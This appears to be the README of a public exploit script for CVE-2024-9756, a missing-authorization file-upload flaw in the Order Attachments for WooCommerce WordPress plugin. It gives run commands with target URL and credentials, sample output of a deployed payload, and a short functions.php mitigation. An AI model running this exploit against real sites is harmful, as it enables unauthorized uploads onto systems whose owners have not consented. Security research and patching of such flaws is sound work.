
Order Attachments for WooCommerce 2.0 - 2.4.1 - Missing Authorization to Authenticated (Subscriber+) Limited Arbitrary File Upload
This exploit leverages an unauthorized limited arbitrary file upload vulnerability in the Order Attachments for WooCommerce plugin (versions 2.0 to 2.4.1) for WordPress.
The vulnerability allows authenticated users (Subscriber+) to upload restricted file types without proper authorization.
This script is for educational and security research purposes only. Any unauthorized use of this exploit on systems you do not own is strictly illegal.
Ensure you have the following before running the exploit:
requests module → Install with:
pip install requests
python3 CVE-2024-9756.py -u <TARGET_URL> -un <USERNAME> -p <PASSWORD>
Example:
python3 CVE-2024-9756.py -u http://192.168.100.74:888/wordpress4 -un khaled -p mypassword
You can specify custom file names and order IDs:
python3 CVE-2024-9756.py -u <TARGET_URL> -un <USERNAME> -p <PASSWORD> --filename="custom.png" --filetype="image/png"
python3 CVE-2024-9756.py -u <TARGET_URL> -un <USERNAME> -p <PASSWORD> -o 200
If successful, the script will return the uploaded file URL:
[*] Initiating authentication...
[✔] Authentication successful.
[*] Deploying payload: Nxploit.jpg to order 196...
[✔] Payload successfully deployed!
🔗 File URL: http://192.168.100.74:888/wordpress4/wp-content/uploads/2025/03/Nxploit.jpg
functions.php to block wp_ajax_wcoa_add_attachment from unauthorized users:
if (!current_user_can('manage_woocommerce')) {
wp_send_json_error(['message' => 'Unauthorized'], 403);
exit;
}
This exploit is published for educational purposes and security research only.
Unauthorized use against systems without explicit permission is illegal and punishable under cybersecurity laws.
Use at your own risk.